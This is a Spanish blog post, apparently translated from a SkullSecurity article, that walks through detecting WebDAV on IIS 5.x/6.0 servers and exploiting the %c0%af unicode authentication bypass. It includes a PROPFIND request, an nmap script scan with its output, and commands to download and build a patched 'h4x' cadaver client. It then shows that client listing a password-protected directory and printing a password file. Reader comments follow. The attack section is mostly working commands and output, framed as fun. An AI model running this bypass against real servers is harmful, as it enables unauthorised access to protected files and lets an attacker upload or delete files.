Detección de WebDAV, verificación de la vulnerabilidad y explotación

DragonJAR 336x280 Detección de WebDAV, verificación de la vulnerabilidad y explotación

En SkullSecurity han publicado un interesante artículo (creado por Andrew) en el que muestran como llevar a cabo el proceso de explotación de la tan renombrada vulnerabilidad de WebDAV en los servidores IIS 6.0/5.0 descubierta el mes pasado, la cual permite acceder a directorios protegidos con contraseña debido al mal filtrado que se hace del caracter unicode %c0%a.

El artículo se encuentra en Inglés pero he decidido realizar la traducción para que nuestro público hispano también pueda tener acceso a este buen contenido. Se hace uso de la herramienta Nmap para detectar si el servidor es vulnerable y luego por medio de una versión de cadaver parcheada se realiza la explotación.

Detección de , verificación de la y explotación

La primera cosa que deberías saber al jugar con esta vulnerabilidad es que el servidor no es explotable sí el directorio raiz está protegido. También si el directorio raiz está protegido, no hay manera de determinar ni siquiera si WebDAV está activado. Siendo dicho eso, si el directorio raiz _no_ está protegido entonces es hora de divertirnos un poco.

Detectando sí WebDAV está activado

Las pruebas han sido realizadas en:

  • IIS 6.0/ 2003 Enterprise SP2
  • IIS 5.1/Windows XP Pro SP2
  • IIS 5.0/Windows 2000 SP4

En IIS 6-.0, WebDAV está desactivado por defecto. En IIS 5.0 y 5.1, WebDAV está activado por defecto y se debe editar el registro para desactivarlo.

Mi método de detección simplista requiere de ejecutar una petición PROPFIND en el servidor. Básicamente es la misma petición PROPFIND usada en el script http-iis-webdav-vuln.nse:

PROPFIND / HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Type: application/xml
Content-Length: 298

<?xml version=”1.0″ encoding=”utf-8″?>
<propfind xmlns=”DAV:”>
<prop>
<getcontentlength xmlns=”DAV:”/>
<getlastmodified xmlns=”DAV:”/>
<executable xmlns=”http://apache.org/dav/props/”/>
<resourcetype xmlns=”DAV:”/>
<checked-in xmlns=”DAV:”/>
<checked-out xmlns=”DAV:”/>
</prop>
</propfind>

Cuando WebDAV está activado, debería devolver “HTTP/1.1 207 Multi-Status”.
Cuando WebDAV ha sido desactivado, debería retornar “HTTP/1.1 501 Not Supported”.

Éste es el método que he implementado en el script http-iis-webdav-vuln.nse. Funciona muy bien en el laboratorio con los servidores IIS. Si recibimos alguna otra cosa diferente a 207 o 501 entonces abordamos el barco diciendo que el servidor no está soportado. Por otrolado, un servidor Aparche corriendo sobre Ubuntu devolvería un 405 Method Not Allowed.

Verificando si un servidor es vulnerable

Las pruebas han sido realizadas en:

  • IIS 6.0/Windows 2003 Enterprise SP2
  • IIS 5.1/Windows XP Pro SP2

No funciona en:

  • IIS 5.0/Windows 2000 SP4

El script original sólo usaba un forma para verificar; primero encontraría un directorio protegido (/secret/) y luego probaría intentando el caracter %c0%af después del primer /. Entonces /secret/ se convertiría en /%c0%afsecret/.

Funcionó muy bien en IIS 6.0 pero no funcionó del todo en IIS 5.0/5.1. Después jugar un poco más hoy con esto, logramos hacerlo funcionar en IIS 5.1. El problema con el 5.1 es que el caracter %c0%af no puede estar justo antes de / pero sí en alguna parte entre el nombre del directorio. También funcionó en IIS 6.0. Modifiqué el script de manera que usara la verificación de IIS 5.0/6.0, convirtiendo /secret/ en /s%c0%afecret/.

Encontrando un servidor vulnerable

Las pruebas han sido realizadas en:

  • IIS 6.0/Windows 2003 Enterprise SP2
  • IIS 5.1/Windows XP Pro SP2

No funciona en:

  • IIS 5.0/Windows 2000 SP4

Ahora vamos a la parte divertida. Si hasta ahora no te has divertido, vete preparando por que ya casi llegamos!

Lo primero que necesitamos hacer es encontrar un servidor vulnerable. Sólo llegué a saber de un Windows 2003 en mi laboratorio corriendo IIS 6.0 que es vulnerable (actualizado y parcheado hasta la fecha). Veamos funciona como un escaneo con nmap en este sistema con el script actualizado:

> ./nmap -T4 -p80 –script=http-iis-webdav-vuln xxx.xxx.xxx.xxx

Starting Nmap 4.85BETA9 ( http://nmap.org ) at 2009-05-20 14:29 CDT
Interesting ports on xxx.xxx.xxx.xxx:
PORT   STATE SERVICE
80/tcp open  http
|_ http-iis-webdav-vuln: WebDAV is ENABLED. Vulnerable folders discovered: /private, /secret, /webdav

Nmap done: 1 IP address (1 host up) scanned in 21.41 seconds

Interesante! Ahora sabemos que el servidor tiene WebDAV activado y hay 3 directorios vulnerables.

Explotándolo!

Ahora podríamos hacer lo que sea haciendo uso de telnet por el puerto 80, pero no es muy divertido (creeme, es muy tedioso!) así que busqué un cliente WebDAV. Me tropecé con un software libre llamado cadaver, y basado únicamente en el nombre lo descargué. Cadaver por sí mismo es un gran cliente WebDAV de línea de comandos pero rápidamente me dí cuenta que tiene un montón de problemas que no nos dejarían hacer lo que queríamos. Lo bueno del software libre es que es abierto, así que descargué el código fuente de cadaver-0.23.2 y después de modificarlo un poco, resultamos con un pequeño parche que hace bastante sencillo explotar un servidor. Revisa el parche por ti mismo para ver detalles a fondo pero básicamente hace lo siguiente:

1. Reemplazar cualquier cabecera “Depth: 0″ por “Depth: 1″ (de otro modo LS no funcionaría)
2. Agregar la cabecera “Translate: f” a cada petición (de otra manera GET y probablemente otros no funcionarían.
3. Insertar los caracteres “%c0%af” en cualquier petición con más de 1 caracter.

Así que baja el parche cadaver-0.23.2-h4x.patch y apĺícalo a la fuentes de cadaver-0.23.2 desde el sitio web de cadaver. Aquí están los comandos:

> mkdir cadaver-h4x
> cd cadaver-h4x
> wget http://www.skullsecurity.org/blogdata/cadaver-0.23.2-h4x.patch
–recortado–
> wget http://www.webdav.org/cadaver/cadaver-0.23.2.tar.gz
–recortado–
> tar xzvf cadaver-0.23.2.tar.gz
–recortado–
> cd cadaver-0.23.2/
> patch -p1 < ../cadaver-0.23.2-h4x.patch
patching file lib/neon/ne_basic.c
patching file lib/neon/ne_request.c
patching file lib/neon/ne_uri.c
> ./configure
–recortado–
> make
–recortado–

Ahora deberíamos de tener una versión parcheada y compilada de cadaver. Iníciala con el servidor que habías identificado con directorios vulnerables anteriormente:

> ./cadaver xxx.xxx.xxx.xxx

Esto debería de dejarte en un prompt con “dav:/>”. Ahora simplemente haz cd al directorio vulnerable y verifica que hay ahí:

dav:/> cd secret
dav:/secret/> ls
Listing collection `/secret/': succeeded.
password.txt                           7  May 19 10:40
dav:/secret/> cat password.txt
Displaying `/secret/password.txt':
ron$pr0ns
dav:/secret/>

Y ahí lo tienes!

Aquí tienes una lista de comandos que he probado y funcionan con cadaver parcheado en un directorio vulnerable:

  • CD
  • LS
  • MOVE
  • PUT
  • GET
  • CAT
  • DELETE

Curiosamente, el comando COPY no funciona. No hemos tenido tiempo para investigar por, pero la funcionalidad puede ser duplicada con un get/local rename/put.

Este cadaver parcheado tampoco funcionará para examinar directorios WebDAV regulares (no vulnerables), así que no intentes.


Si te ha gustado el post, compartelo y ayudanos a crecer.

Unete a nuestra Fanpage Siguenos en Twitter

Autor: Cortex

Compartir este Artículo
  • http://www.colombia.com Colombia

    Muy copado parce yo si que he visto esta vuln :D

  • sXe

    Buena Info. Lastima que encontrar un Server con este fallo, mas alla de nuestros labs, es casi imposible. Saludos!

  • Antonio

    tienes razon SXE, por lo que veo la seguridad le dio knock out al hacking

  • wladimir

    muy bueno el aporte demasiado bueno ojala sigas suiendo cosas de esta magnitud

  • http://www.totalsec.com.ar Patricio Castagnaro

    Mira que en la edicion, donde dice ./nmap -T4 -p80 –script=http-iis-webdav-vuln xxx.xxx.xxx.xxx te quedó un solo guión antes de “script” y eos hace que al copiar y pegar no funcione.

    Deberia quedar asi: ./nmap -T4 -p80 –script=http-iis-webdav-vuln xxx.xxx.xxx.xxx

  • kkj

    tengo una pregunta e llegado a conectar con el servidor pero este me lanza un mensaje como este

    Could not access /secret/ (not WebDAV-enabled?):
    404 Resource Not Found

    que puedo hacer aqui?

  • DellDor

    ¡Saludos!
    ¿Hay alguna forma de guardar localmente mediante script de bash el resultado de ejecutar ls en el servidor?
    Quiero implementar un script que compare el contenido de una carpeta local y una remota y suba a esta última solo lo que falte, y lo único que hago manual por el momento es obtener el listado de archivos de la remota…

    Gracias por adelantado